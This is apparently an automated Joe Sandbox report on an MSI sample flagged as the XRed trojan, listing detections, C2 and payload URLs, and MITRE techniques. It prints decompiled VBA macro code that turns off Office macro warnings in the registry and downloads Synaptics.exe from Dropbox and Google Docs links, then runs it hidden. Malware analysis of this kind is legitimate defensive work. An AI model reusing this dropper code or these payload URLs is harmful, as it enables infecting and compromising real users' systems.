Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
222.msi

Overview

General Information

Sample name:222.msi
Analysis ID:1582335
MD5:cf5da0ce656559358c5d06876bbbff3e
SHA1:166f0b46a849adeaf1d01378d0db0bb6040c9ed3
SHA256:0a6ba519cd28bce39d999a07d2b4dce17fdcd0a0f1ddef94158e377c40de8a26
Tags:knkbkk212msiuser-JAMESWT_MHT
Infos:

Detection

XRed
Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected XRed
C2 URLs / IPs found in malware configuration
Document contains an embedded VBA macro with suspicious strings
Document contains an embedded VBA with functions possibly related to ADO stream file operations
Document contains an embedded VBA with functions possibly related to HTTP operations
Document contains an embedded VBA macro which executes code when the document is opened / closed
May infect USB drives
Sample file is different than original file name gathered from version info

Classification

  • System is w11x64_office
  • msiexec.exe (PID: 7996 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\222.msi" MD5: C0D3BDDE74C1EC82F75681D4D5ED44C8)
  • cleanup
{"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}
SourceRuleDescriptionAuthorStrings
222.msiJoeSecurity_XRedYara detected XRedJoe Security
    222.msiJoeSecurity_DelphiSystemParamCountDetected Delphi use of System.ParamCount()Joe Security
      No Sigma rule has matched
      No Suricata rule has matched

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Source: 222.msiMalware Configuration Extractor: XRed {"C2 url": "xred.mooo.com", "Email": "xredline1@gmail.com", "Payload urls": ["http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download", "https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1", "http://xred.site50.net/syn/SUpdate.ini", "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download", "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1", "http://xred.site50.net/syn/Synaptics.rar", "https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download", "https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1", "http://xred.site50.net/syn/SSLLibrary.dll"]}
      Source: 222.msiReversingLabs: Detection: 65%
      Source: 222.msiVirustotal: Detection: 72%Perma Link
      Source: 222.msiBinary or memory string: [autorun]
      Source: 222.msiBinary or memory string: [autorun]
      Source: 222.msiBinary or memory string: autorun.inf

      Networking

      barindex
      Source: Malware configuration extractorURLs: xred.mooo.com
      Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
      Source: global trafficDNS traffic detected: DNS query: assets.msn.com
      Source: 222.msiString found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
      Source: 222.msiString found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
      Source: 222.msiString found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
      Source: 222.msiString found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
      Source: 222.msiString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
      Source: 222.msiString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
      Source: 222.msiString found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
      Source: 222.msiString found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
      Source: 222.msiString found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
      Source: 222.msiString found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

      System Summary

      barindex
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function SaveAsInj, String environ: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"Name: SaveAsInj
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function RegKeyRead, String wscript: Set myWS = CreateObject("WScript.Shell")Name: RegKeyRead
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function RegKeyExists, String wscript: Set myWS = CreateObject("WScript.Shell")Name: RegKeyExists
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function RegKeySave, String wscript: Set myWS = CreateObject("WScript.Shell")Name: RegKeySave
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function MPS, String environ: TMP = Environ("Temp") & "\~$cache1.exe"Name: MPS
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function MPS, String environ: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") ThenName: MPS
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function MPS, String environ: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHideName: MPS
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function MPS, String environ: Elseif FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") ThenName: MPS
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function MPS, String environ: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHideName: MPS
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function FDW, String winhttp.winhttprequest: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")Name: FDW
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function FDW, String winhttp.winhttprequest: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")Name: FDW
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function FDW, found possibly 'ADODB.Stream' functions open, savetofile, writeName: FDW
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function FDW, found possibly 'XMLHttpRequest' functions response, responsebody, responsetext, status, open, sendName: FDW
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_OpenName: Workbook_Open
      Source: VBA code instrumentationOLE, VBA macro: Module ThisWorkbook, Function Workbook_BeforeCloseName: Workbook_BeforeClose
      Source: 222.msiBinary or memory string: OriginalFileName vs 222.msi
      Source: 222.msiBinary or memory string: OriginalFilenameb! vs 222.msi
      Source: classification engineClassification label: mal80.troj.expl.winMSI@1/0@1/0
      Source: Yara matchFile source: 222.msi, type: SAMPLE
      Source: 222.msiReversingLabs: Detection: 65%
      Source: 222.msiVirustotal: Detection: 72%
      Source: C:\Windows\System32\msiexec.exeSection loaded: apphelp.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: aclayers.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: msi.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: srpapi.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: tsappcmp.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: uxtheme.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: kernel.appcore.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: textinputframework.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: propsys.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: coremessaging.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: coreuicomponents.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: wintypes.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: cryptbase.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: textshaping.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: netapi32.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: wkscli.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: netutils.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: duser.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: xmllite.dllJump to behavior
      Source: C:\Windows\System32\msiexec.exeSection loaded: atlthunk.dllJump to behavior
      Source: 222.msiStatic file information: File size 1748992 > 1048576

      Stealing of Sensitive Information

      barindex
      Source: Yara matchFile source: 222.msi, type: SAMPLE

      Remote Access Functionality

      barindex
      Source: Yara matchFile source: 222.msi, type: SAMPLE
      ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
      Gather Victim Identity Information31
      Scripting
      1
      Replication Through Removable Media
      Windows Management Instrumentation31
      Scripting
      1
      DLL Side-Loading
      1
      DLL Side-Loading
      OS Credential Dumping1
      Peripheral Device Discovery
      Remote ServicesData from Local System1
      Non-Application Layer Protocol
      Exfiltration Over Other Network MediumAbuse Accessibility Features
      CredentialsDomainsDefault AccountsScheduled Task/Job1
      DLL Side-Loading
      Boot or Logon Initialization ScriptsRootkitLSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media21
      Application Layer Protocol
      Exfiltration Over BluetoothNetwork Denial of Service
      Hide Legend

      Legend:

      • Process
      • Signature
      • Created File
      • DNS/IP Info
      • Is Dropped
      • Is Windows Process
      • Number of created Registry Values
      • Number of created Files
      • Visual Basic
      • Delphi
      • Java
      • .Net C# or VB.NET
      • C, C++ or other language
      • Is malicious
      • Internet

      This section contains all screenshots as thumbnails, including those not shown in the slideshow.


      windows-stand
      SourceDetectionScannerLabelLink
      222.msi66%ReversingLabsWin32.Trojan.Synaptics
      222.msi72%VirustotalBrowse
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      No Antivirus matches
      NameIPActiveMaliciousAntivirus DetectionReputation
      bg.microsoft.map.fastly.net
      199.232.214.172
      truefalse
        high
        assets.msn.com
        unknown
        unknownfalse
          high
          NameMaliciousAntivirus DetectionReputation
          xred.mooo.comfalse
            high
            NameSourceMaliciousAntivirus DetectionReputation
            http://xred.site50.net/syn/Synaptics.rar222.msifalse
              high
              https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1222.msifalse
                high
                https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1222.msifalse
                  high
                  https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1222.msifalse
                    high
                    http://xred.site50.net/syn/SSLLibrary.dll222.msifalse
                      high
                      http://xred.site50.net/syn/SUpdate.ini222.msifalse
                        high
                        http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978222.msifalse
                          high
                          No contacted IP infos
                          Joe Sandbox version:41.0.0 Charoite
                          Analysis ID:1582335
                          Start date and time:2024-12-30 11:27:21 +01:00
                          Joe Sandbox product:CloudBasic
                          Overall analysis duration:0h 3m 48s
                          Hypervisor based Inspection enabled:false
                          Report type:full
                          Cookbook file name:defaultwindowsofficecookbook.jbs
                          Analysis system description:Windows 11 23H2 with Office Professional Plus 2021, Chrome 131, Firefox 133, Adobe Reader DC 24, Java 8 Update 431, 7zip 24.09
                          Run name:Potential for more IOCs and behavior
                          Number of analysed new started processes analysed:33
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • HCA enabled
                          • EGA enabled
                          • GSI enabled (VBA)
                          • AMSI enabled
                          Analysis Mode:default
                          Analysis stop reason:Timeout
                          Sample name:222.msi
                          Detection:MAL
                          Classification:mal80.troj.expl.winMSI@1/0@1/0
                          EGA Information:Failed
                          HCA Information:
                          • Successful, ratio: 100%
                          • Number of executed functions: 0
                          • Number of non-executed functions: 0
                          Cookbook Comments:
                          • Found application associated with file extension: .msi
                          • Close Viewer
                          • Exclude process from analysis (whitelisted): MpCmdRun.exe, SecurityHealthHost.exe, dllhost.exe, RuntimeBroker.exe, SIHClient.exe, appidcertstorecheck.exe, backgroundTaskHost.exe, BackgroundTransferHost.exe, ShellExperienceHost.exe, WMIADAP.exe, conhost.exe, svchost.exe
                          • Excluded IPs from analysis (whitelisted): 2.23.209.38, 2.23.209.40, 2.23.209.33, 2.23.209.37, 2.23.209.34, 2.23.209.41, 2.23.209.39, 2.23.209.32, 2.23.209.31, 184.28.90.27, 4.245.163.56, 40.126.32.133, 20.74.47.205, 2.23.209.135, 20.103.156.88
                          • Excluded domains from analysis (whitelisted): www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, fd.api.iris.microsoft.com, tse1.mm.bing.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com, otelrules.svc.static.microsoft, login.live.com, res.public.onecdn.static.microsoft, wu-b-net.trafficmanager.net, e28578.d.akamaiedge.net
                          • Not all processes where analyzed, report is missing behavior information
                          No simulations
                          No context
                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                          bg.microsoft.map.fastly.netuniversityform.xlsmGet hashmaliciousUnknownBrowse
                          • 199.232.210.172
                          universityform.xlsmGet hashmaliciousUnknownBrowse
                          • 199.232.210.172
                          Payment-Order #24560274 for 8,380 USD.exeGet hashmaliciousAsyncRAT, PureLog Stealer, zgRATBrowse
                          • 199.232.214.172
                          SecuredOnedrive.ClientSetup.exeGet hashmaliciousScreenConnect ToolBrowse
                          • 199.232.214.172
                          dsoft.exeGet hashmaliciousPython Stealer, Creal StealerBrowse
                          • 199.232.210.172
                          Installer eSPT Masa PPh versi 2.0#U007e26022009.exeGet hashmaliciousBlackMoonBrowse
                          • 199.232.210.172
                          Installer eSPT Masa PPh versi 2.0#U007e26022009.exeGet hashmaliciousBlackMoonBrowse
                          • 199.232.214.172
                          SharcHack.exeGet hashmaliciousAdes Stealer, BlackGuard, NitroStealer, VEGA Stealer, XmrigBrowse
                          • 199.232.214.172
                          3KFFG52TBI.exeGet hashmaliciousUnknownBrowse
                          • 199.232.214.172
                          No context
                          No context
                          No context
                          No created / dropped files found
                          File type:Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, MSI Installer, Code page: 1252, Last Printed: Fri Sep 21 10:56:09 2012, Create Time/Date: Fri Sep 21 10:56:09 2012, Name of Creating Application: Windows Installer, Title: Exe to msi converter free, Author: www.exetomsi.com, Template: ;0, Last Saved By: devuser, Revision Number: {C35CF0AA-9B3F-4903-9F05-EBF606D58D3E}, Last Saved Time/Date: Tue May 21 12:56:44 2013, Number of Pages: 100, Number of Words: 0, Security: 0
                          Entropy (8bit):7.422118861608946
                          TrID:
                          • Generic OLE2 / Multistream Compound File (8008/1) 100.00%
                          File name:222.msi
                          File size:1'748'992 bytes
                          MD5:cf5da0ce656559358c5d06876bbbff3e
                          SHA1:166f0b46a849adeaf1d01378d0db0bb6040c9ed3
                          SHA256:0a6ba519cd28bce39d999a07d2b4dce17fdcd0a0f1ddef94158e377c40de8a26
                          SHA512:ca0f530922d8168cb633f30a5cb97874654515a0c361f20f4490f9f85beedd3f74595141b6305b755fa18796c678d2a89848a069b4471fbb5f66b5ce33343cf7
                          SSDEEP:49152:uElnsHyjtk2MYC5GD8hloJfCAh9RMUBrNUFqtBZl:hnsmtk2a1hlPERBsiT
                          TLSH:D885C0B2B3818436D433563C8C7B93A75427BE5D1D38690E3BE57E4E6E3A34228261D7
                          File Content Preview:........................>......................................................................................................................................................................................................................................
                          Icon Hash:bdb5fdd8b3b39b1f
                          TimestampSource PortDest PortSource IPDest IP
                          Dec 30, 2024 11:28:30.957169056 CET53503991.1.1.1192.168.2.25
                          Dec 30, 2024 11:29:07.399545908 CET53566551.1.1.1192.168.2.25
                          Dec 30, 2024 11:29:29.641172886 CET5665553192.168.2.251.1.1.1
                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                          Dec 30, 2024 11:29:29.641172886 CET192.168.2.251.1.1.10x6b68Standard query (0)assets.msn.comA (IP address)IN (0x0001)false
                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                          Dec 30, 2024 11:28:11.242904902 CET1.1.1.1192.168.2.250x279fNo error (0)bg.microsoft.map.fastly.net199.232.214.172A (IP address)IN (0x0001)false
                          Dec 30, 2024 11:28:11.242904902 CET1.1.1.1192.168.2.250x279fNo error (0)bg.microsoft.map.fastly.net199.232.210.172A (IP address)IN (0x0001)false
                          Dec 30, 2024 11:29:29.648371935 CET1.1.1.1192.168.2.250x6b68No error (0)assets.msn.comassets.msn.com.edgekey.netCNAME (Canonical name)IN (0x0001)false

                          Click to jump to process

                          Click to jump to process

                          Target ID:0
                          Start time:05:28:13
                          Start date:30/12/2024
                          Path:C:\Windows\System32\msiexec.exe
                          Wow64 process (32bit):false
                          Commandline:"C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\222.msi"
                          Imagebase:0x7ff6c7880000
                          File size:176'128 bytes
                          MD5 hash:C0D3BDDE74C1EC82F75681D4D5ED44C8
                          Has elevated privileges:true
                          Has administrator privileges:true
                          Programmed in:C, C++ or other language
                          Reputation:low
                          Has exited:true

                          Call Graph

                          Module: Sayfa1

                          Declaration
                          LineContent
                          1

                          Attribute VB_Name = "Sayfa1"

                          2

                          Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"

                          3

                          Attribute VB_GlobalNameSpace = False

                          4

                          Attribute VB_Creatable = False

                          5

                          Attribute VB_PredeclaredId = True

                          6

                          Attribute VB_Exposed = True

                          7

                          Attribute VB_TemplateDerived = False

                          8

                          Attribute VB_Customizable = True

                          Module: ThisWorkbook

                          Declaration
                          LineContent
                          1

                          Attribute VB_Name = "ThisWorkbook"

                          2

                          Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"

                          3

                          Attribute VB_GlobalNameSpace = False

                          4

                          Attribute VB_Creatable = False

                          5

                          Attribute VB_PredeclaredId = True

                          6

                          Attribute VB_Exposed = True

                          7

                          Attribute VB_TemplateDerived = False

                          8

                          Attribute VB_Customizable = True

                          9

                          Dim SheetsChanged as Boolean

                          10

                          Dim SheetCount as Integer

                          APIsMeta Information

                          CreateObject

                          Path

                          ActiveWorkbook

                          Path

                          ActiveWorkbook

                          Environ

                          FileExists

                          FileExists

                          FileCopy

                          Shell

                          vbHide

                          FileExists

                          FileExists

                          FileCopy

                          Shell

                          vbHide

                          FileExists

                          Environ

                          Shell

                          Environ

                          vbHide

                          FileExists

                          Environ

                          Shell

                          Environ

                          vbHide

                          FileExists

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: AllowRedirects

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Send

                          Part of subcall function FDW@ThisWorkbook: Status

                          Part of subcall function FDW@ThisWorkbook: InStr

                          Part of subcall function FDW@ThisWorkbook: ResponseText

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Type

                          Part of subcall function FDW@ThisWorkbook: Write

                          Part of subcall function FDW@ThisWorkbook: ResponseBody

                          Part of subcall function FDW@ThisWorkbook: SaveToFile

                          Part of subcall function FDW@ThisWorkbook: Close

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: AllowRedirects

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Send

                          Part of subcall function FDW@ThisWorkbook: Status

                          Part of subcall function FDW@ThisWorkbook: InStr

                          Part of subcall function FDW@ThisWorkbook: ResponseText

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Type

                          Part of subcall function FDW@ThisWorkbook: Write

                          Part of subcall function FDW@ThisWorkbook: ResponseBody

                          Part of subcall function FDW@ThisWorkbook: SaveToFile

                          Part of subcall function FDW@ThisWorkbook: Close

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: Option

                          Part of subcall function FDW@ThisWorkbook: AllowRedirects

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Send

                          Part of subcall function FDW@ThisWorkbook: Status

                          Part of subcall function FDW@ThisWorkbook: InStr

                          Part of subcall function FDW@ThisWorkbook: ResponseText

                          Part of subcall function FDW@ThisWorkbook: CreateObject

                          Part of subcall function FDW@ThisWorkbook: Open

                          Part of subcall function FDW@ThisWorkbook: Type

                          Part of subcall function FDW@ThisWorkbook: Write

                          Part of subcall function FDW@ThisWorkbook: ResponseBody

                          Part of subcall function FDW@ThisWorkbook: SaveToFile

                          Part of subcall function FDW@ThisWorkbook: Close

                          FileExists

                          Shell

                          vbHide

                          Shell

                          vbHide

                          StringsDecrypted Strings
                          "scripting.filesystemobject"
                          "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"
                          "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
                          "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"
                          "Temp"
                          "ALLUSERSPROFILE"
                          "ALLUSERSPROFILE"
                          "WINDIR"
                          "WINDIR"
                          LineInstructionMeta Information
                          147

                          Sub MPS()

                          148

                          Dim FSO as Object

                          149

                          Dim FP(1 To 3), TMP, URL(1 To 3) as String

                          151

                          Set FSO = CreateObject("scripting.filesystemobject")

                          CreateObject

                          152

                          FP(1) = ActiveWorkbook.Path & "\~$cache1"

                          Path

                          ActiveWorkbook

                          153

                          FP(2) = ActiveWorkbook.Path & "\Synaptics.exe"

                          Path

                          ActiveWorkbook

                          155

                          URL(1) = "https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download"

                          156

                          URL(2) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"

                          157

                          URL(3) = "https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1"

                          158

                          TMP = Environ("Temp") & "\~$cache1.exe"

                          Environ

                          160

                          If FSO.FileExists(FP(1)) Then

                          FileExists

                          161

                          If Not FSO.FileExists(TMP) Then

                          FileExists

                          162

                          FileCopy FP(1), TMP

                          FileCopy

                          163

                          Endif

                          164

                          Shell TMP, vbHide

                          Shell

                          vbHide

                          165

                          Elseif FSO.FileExists(FP(2)) Then

                          FileExists

                          166

                          If Not FSO.FileExists(TMP) Then

                          FileExists

                          167

                          FileCopy FP(2), TMP

                          FileCopy

                          168

                          Endif

                          169

                          Shell TMP, vbHide

                          Shell

                          vbHide

                          170

                          Else

                          171

                          If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then

                          FileExists

                          Environ

                          172

                          Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide

                          Shell

                          Environ

                          vbHide

                          173

                          Elseif FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then

                          FileExists

                          Environ

                          174

                          Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide

                          Shell

                          Environ

                          vbHide

                          175

                          Elseif Not FSO.FileExists(TMP) Then

                          FileExists

                          176

                          If FDW((URL(1)), (TMP)) Then

                          177

                          Elseif FDW((URL(2)), (TMP)) Then

                          178

                          Elseif FDW((URL(3)), (TMP)) Then

                          179

                          Endif

                          180

                          If FSO.FileExists(TMP) Then

                          FileExists

                          181

                          Shell TMP, vbHide

                          Shell

                          vbHide

                          182

                          Endif

                          183

                          Else

                          184

                          Shell TMP, vbHide

                          Shell

                          vbHide

                          185

                          Endif

                          187

                          Endif

                          189

                          End Sub

                          APIsMeta Information

                          Sheets

                          Sheets

                          xlSheetVisible

                          Part of subcall function RegKeySave@ThisWorkbook: CreateObject

                          Part of subcall function RegKeySave@ThisWorkbook: RegWrite

                          Version

                          Part of subcall function RegKeySave@ThisWorkbook: CreateObject

                          Part of subcall function RegKeySave@ThisWorkbook: RegWrite

                          Version

                          DisplayAlerts

                          Count

                          Worksheets

                          Part of subcall function MPS@ThisWorkbook: CreateObject

                          Part of subcall function MPS@ThisWorkbook: Path

                          Part of subcall function MPS@ThisWorkbook: ActiveWorkbook

                          Part of subcall function MPS@ThisWorkbook: Path

                          Part of subcall function MPS@ThisWorkbook: ActiveWorkbook

                          Part of subcall function MPS@ThisWorkbook: Environ

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: FileCopy

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: FileCopy

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: Environ

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: Environ

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: Environ

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: Environ

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: FileExists

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Part of subcall function MPS@ThisWorkbook: Shell

                          Part of subcall function MPS@ThisWorkbook: vbHide

                          Select

                          StringsDecrypted Strings
                          "HKCU\Software\Microsoft\Office\"
                          "REG_DWORD"
                          "HKCU\Software\Microsoft\Office\"
                          "REG_DWORD"
                          LineInstructionMeta Information
                          12

                          Private Sub Workbook_Open()

                          13

                          Dim i as Integer

                          14

                          For i = 1 To ActiveWorkbook.Sheets.Count

                          Sheets

                          15

                          ActiveWorkbook.Sheets(i).Visible = xlSheetVisible

                          Sheets

                          xlSheetVisible

                          16

                          Next i

                          Sheets

                          18

                          RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Excel\Security\VBAWarnings", 1, "REG_DWORD"

                          Version

                          19

                          RegKeySave "HKCU\Software\Microsoft\Office\" & Application.Version & "\Word\Security\VBAWarnings", 1, "REG_DWORD"

                          Version

                          21

                          Application.DisplayAlerts = False

                          DisplayAlerts

                          22

                          SheetCount = Worksheets.Count

                          Count

                          Worksheets

                          24

                          Call MPS()

                          26

                          ActiveWorkbook.Sheets(1).Select

                          Select

                          27

                          SheetsChanged = False

                          28

                          End Sub

                          APIsMeta Information

                          CreateObject

                          CreateObject

                          Option

                          Option

                          AllowRedirects

                          Open

                          Send

                          Status

                          InStr

                          ResponseText

                          CreateObject

                          Open

                          Type

                          Write

                          ResponseBody

                          SaveToFile

                          Close

                          StringsDecrypted Strings
                          "WinHttp.WinHttpRequest.5.1"
                          "WinHttp.WinHttpRequest.5"
                          "WinHttp.WinHttpRequest.5"
                          "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"
                          "GET"
                          "404 Not Found"
                          ">Not Found<"
                          "ADODB.Stream"
                          "Dropbox - Error"
                          "404 Not Found"
                          ">Not Found<"
                          "ADODB.Stream"
                          "Dropbox - Error"
                          "ADODB.Stream"
                          LineInstructionMeta Information
                          191

                          Function FDW(MYU, NMA as String) as Boolean

                          192

                          Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")

                          CreateObject

                          193

                          If WinHttpReq Is Nothing Then

                          194

                          Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

                          CreateObject

                          195

                          Endif

                          197

                          WinHttpReq.Option(0) = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)"

                          Option

                          198

                          WinHttpReq.Option(6) = AllowRedirects

                          Option

                          AllowRedirects

                          199

                          WinHttpReq.Open "GET", MYU, False

                          Open

                          200

                          WinHttpReq.Send

                          Send

                          202

